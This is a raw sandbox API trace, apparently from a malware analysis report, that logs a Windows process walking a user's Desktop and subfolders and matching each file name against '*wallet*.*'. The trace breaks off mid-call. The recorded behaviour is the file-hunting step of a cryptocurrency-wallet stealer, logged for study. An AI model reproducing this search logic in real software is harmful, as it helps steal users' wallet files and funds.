MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430b60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.560] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.560] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430b60 | out: hHeap=0x2110000) returned 1 [0099.560] PathMatchSpecW (pszFile="1uAKNwE-0yc6at.mp3", pszSpec="*wallet*.*") returned 0 [0099.560] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.560] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112cd8 | out: hHeap=0x2110000) returned 1 [0099.560] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d74c530, ftCreationTime.dwHighDateTime=0x1d7a0ad, ftLastAccessTime.dwLowDateTime=0xda822690, ftLastAccessTime.dwHighDateTime=0x1d7a941, ftLastWriteTime.dwLowDateTime=0xda822690, ftLastWriteTime.dwHighDateTime=0x1d7a941, nFileSizeHigh=0x0, nFileSizeLow=0x1662f, dwReserved0=0x0, dwReserved1=0x0, cFileName="4sB35aWlNW.mp3", cAlternateFileName="4SB35A~1.MP3")) returned 1 [0099.560] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.560] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.560] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="4sB35aWlNW.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3" [0099.560] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.560] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.560] lstrcatW (in: lpString1="\\", lpString2="4sB35aWlNW.mp3" | out: lpString1="\\4sB35aWlNW.mp3") returned="\\4sB35aWlNW.mp3" [0099.560] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.560] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x34300d0 [0099.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.560] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.560] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.560] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.560] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c00 [0099.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c00, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.560] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.560] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c00 | out: hHeap=0x2110000) returned 1 [0099.560] PathMatchSpecW (pszFile="4sB35aWlNW.mp3", pszSpec="*wallet*.*") returned 0 [0099.560] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0099.560] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.561] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf61f470, ftCreationTime.dwHighDateTime=0x1d7a814, ftLastAccessTime.dwLowDateTime=0xa8e2e7d0, ftLastAccessTime.dwHighDateTime=0x1d7ace5, ftLastWriteTime.dwLowDateTime=0xa8e2e7d0, ftLastWriteTime.dwHighDateTime=0x1d7ace5, nFileSizeHigh=0x0, nFileSizeLow=0x375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6jSeen9MOc.mp3", cAlternateFileName="6JSEEN~1.MP3")) returned 1 [0099.561] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.561] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.561] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="6jSeen9MOc.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3" [0099.561] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.561] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.561] lstrcatW (in: lpString1="\\", lpString2="6jSeen9MOc.mp3" | out: lpString1="\\6jSeen9MOc.mp3") returned="\\6jSeen9MOc.mp3" [0099.561] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.561] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x34300d0 [0099.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.561] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.561] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.561] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.561] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430ea0 [0099.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ea0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.561] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0099.561] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ea0 | out: hHeap=0x2110000) returned 1 [0099.561] PathMatchSpecW (pszFile="6jSeen9MOc.mp3", pszSpec="*wallet*.*") returned 0 [0099.561] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430358 | out: hHeap=0x2110000) returned 1 [0099.561] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.561] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f4d5ac0, ftCreationTime.dwHighDateTime=0x1d7aea7, ftLastAccessTime.dwLowDateTime=0xccbb5650, ftLastAccessTime.dwHighDateTime=0x1d7afc0, ftLastWriteTime.dwLowDateTime=0xccbb5650, ftLastWriteTime.dwHighDateTime=0x1d7afc0, nFileSizeHigh=0x0, nFileSizeLow=0x38d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8plxNnRp.swf", cAlternateFileName="")) returned 1 [0099.561] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.561] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.561] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8plxNnRp.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf" [0099.562] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.562] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.562] lstrcatW (in: lpString1="\\", lpString2="8plxNnRp.swf" | out: lpString1="\\8plxNnRp.swf") returned="\\8plxNnRp.swf" [0099.562] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0099.562] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2c) returned 0x34300d0 [0099.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x34300d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", lpUsedDefaultChar=0x0) returned 44 [0099.562] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.562] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.562] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.562] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430d20 [0099.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430d20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.562] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.562] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d20 | out: hHeap=0x2110000) returned 1 [0099.562] PathMatchSpecW (pszFile="8plxNnRp.swf", pszSpec="*wallet*.*") returned 0 [0099.562] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.562] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.562] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0099.562] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.562] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.562] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini" [0099.563] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.563] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.563] lstrcatW (in: lpString1="\\", lpString2="desktop.ini" | out: lpString1="\\desktop.ini") returned="\\desktop.ini" [0099.563] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.563] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2b) returned 0x34300d0 [0099.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0099.563] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.563] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.563] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.563] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430e60 [0099.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.563] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0099.563] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e60 | out: hHeap=0x2110000) returned 1 [0099.563] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*wallet*.*") returned 0 [0099.563] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0099.563] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.563] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf952ee40, ftCreationTime.dwHighDateTime=0x1d7a8f3, ftLastAccessTime.dwLowDateTime=0xa402fd10, ftLastAccessTime.dwHighDateTime=0x1d7adc9, ftLastWriteTime.dwLowDateTime=0xa402fd10, ftLastWriteTime.dwHighDateTime=0x1d7adc9, nFileSizeHigh=0x0, nFileSizeLow=0x5bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQfg PRtMG 6zUvbPn.swf", cAlternateFileName="DQFGPR~1.SWF")) returned 1 [0099.563] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.563] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.563] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="DQfg PRtMG 6zUvbPn.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf" [0099.563] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.563] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.563] lstrcatW (in: lpString1="\\", lpString2="DQfg PRtMG 6zUvbPn.swf" | out: lpString1="\\DQfg PRtMG 6zUvbPn.swf") returned="\\DQfg PRtMG 6zUvbPn.swf" [0099.563] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.564] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33aade0 [0099.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x33aade0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", lpUsedDefaultChar=0x0) returned 54 [0099.564] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112858 [0099.564] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aade0 | out: hHeap=0x2110000) returned 1 [0099.564] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.564] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c40 [0099.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.564] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0099.564] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c40 | out: hHeap=0x2110000) returned 1 [0099.564] PathMatchSpecW (pszFile="DQfg PRtMG 6zUvbPn.swf", pszSpec="*wallet*.*") returned 0 [0099.564] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430380 | out: hHeap=0x2110000) returned 1 [0099.564] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112858 | out: hHeap=0x2110000) returned 1 [0099.564] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDvMoYL", cAlternateFileName="")) returned 1 [0099.564] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.564] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.564] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.564] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.564] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.564] lstrcatW (in: lpString1="\\", lpString2="EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.564] lstrcmpW (lpString1="EDvMoYL", lpString2=".") returned 1 [0099.564] lstrcmpW (lpString1="EDvMoYL", lpString2="..") returned 1 [0099.564] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.565] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*" [0099.565] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.565] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.565] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.565] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\." [0099.565] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.565] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.565] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="." | out: lpString1="\\EDvMoYL\\.") returned="\\EDvMoYL\\." [0099.565] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.565] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.565] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.565] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.565] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\.." [0099.565] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.565] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.565] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2=".." | out: lpString1="\\EDvMoYL\\..") returned="\\EDvMoYL\\.." [0099.565] lstrcmpW 